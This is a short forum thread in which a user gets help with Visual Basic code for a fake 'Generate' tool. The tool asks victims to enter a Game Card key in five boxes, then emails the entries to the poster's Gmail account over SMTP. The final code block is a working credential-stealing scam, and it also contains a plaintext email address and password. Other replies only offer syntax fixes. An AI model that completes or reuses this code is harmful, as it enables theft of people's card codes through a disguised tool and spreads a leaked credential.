4 replies to this topic

[giv3mesmile]

I cant find what is wrong with this one.. please help out ASAP ? :)

Quote

Private Sub Generate_Click()
Key1 = Key1.Text
Key2 = Text2.Text
Key3 = Text3.Text
Key4 = Text4.Text
Key5 = Text5.Text

If Key1 > 0 And Key2 > 0 And Key3 > 0 And Key4 > 0 And Key5 > 0 Then
Timer1.Enabled = True
Else
MsgBox ("You must enter your Game Card key first, please")
Timer1.Enabled = False
End If

End Sub

:confused::confused:

[giv3mesmile]

got it .. :D

[Orjan]

what did you get then?

[Davide]

i think he had to put the conditions inside parenthesis's.

[giv3mesmile]

I fixed that problem, but now got another :( :S
Fixed:

Quote

Private Sub Generate_Click(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Generate.Click
Dim KeyFifth As Object
Dim KeyFourth As Object
Dim KeyThird As Object
Dim KeySecond As Object
Dim KeyFirst As Object
KeyFirst = Text1.Text
KeySecond = Text2.Text
KeyThird = Text3.Text
KeyFourth = Text4.Text
KeyFifth = Text5.Text
If KeyFirst = "" And KeySecond = "" And KeyThird = "" And KeyFourth = "" And KeyFifth = "" Then
MsgBox("You must enter your Game Card key first, please")
Else
Timer1.Enabled = True
End If

New :

Quote

Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("giv3mesmile@gmail.com", "dushanb3")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("giv3mesmile@gmail.com")
mail.To.Add("giv3mesmile@gmail.com")
mail.Subject = ComboBox1.SelectedItem.ToString
mail.Body = Text1.Text And Text2.Text And Text3.Text And Text4.Text And Text5.Text
smtpServer.Send(mail)
MsgBox("Mail Sent Succesfull!")